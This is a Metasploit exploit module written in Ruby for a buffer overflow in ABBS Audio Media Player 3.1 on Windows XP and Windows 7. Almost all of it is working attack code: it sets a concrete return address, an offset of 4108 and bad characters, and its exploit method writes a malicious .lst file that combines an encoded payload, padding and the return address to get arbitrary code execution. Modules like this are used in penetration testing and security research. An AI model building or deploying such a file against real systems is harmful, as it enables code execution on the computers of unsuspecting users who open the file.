1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::FILEFORMAT
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'ABBS Audio Media Player .LST Buffer Overflow',
16
        'Description' => %q{
17
          This module exploits a buffer overflow in ABBS Audio Media Player. The vulnerability
18
          occurs when adding a specially crafted .lst file, allowing arbitrary code execution with the privileges
19
          of the user running the application. This module has been tested successfully on
20
          ABBS Audio Media Player 3.1 over Windows XP SP3 and Windows 7 SP1.
21
        },
22
        'License' => MSF_LICENSE,
23
        'Author' => [
24
          'Julian Ahrens', # Vulnerability discovery and PoC
25
          'modpr0be <modpr0be[at]spentera.com>' # Metasploit module
26
        ],
27
        'References' => [
28
          [ 'OSVDB', '75096' ],
29
          [ 'EDB', '25204' ]
30
        ],
31
        'DefaultOptions' => {
32
          'EXITFUNC' => 'process',
33
        },
34
        'Platform' => 'win',
35
        'Payload' => {
36
          'BadChars' => "\x00\x0a\x0d",
37
          'DisableNops' => true,
38
        },
39
        'Targets' => [
40
          [
41
            'ABBS Audio Media Player 3.1 / Windows XP SP3 / Windows 7 SP1',
42
            {
43
              'Ret' => 0x00412c91, # add esp,14 # pop # pop # pop # ret from amp.exe
44
              'Offset' => 4108,
45
            }
46
          ]
47
        ],
48
        'Privileged' => false,
49
        'DisclosureDate' => '2013-06-30',
50
        'DefaultTarget' => 0,
51
        'Notes' => {
52
          'Reliability' => UNKNOWN_RELIABILITY,
53
          'Stability' => UNKNOWN_STABILITY,
54
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
55
        }
56
      )
57
    )
58

59
    register_options(
60
      [
61
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.lst']),
62
      ]
63
    )
64
  end
65

66
  def exploit
67
    buffer = payload.encoded
68
    buffer << rand_text(target['Offset'] - (payload.encoded.length))
69
    buffer << [target.ret].pack('V')
70

71
    file_create(buffer)
72
  end
73
end
74

75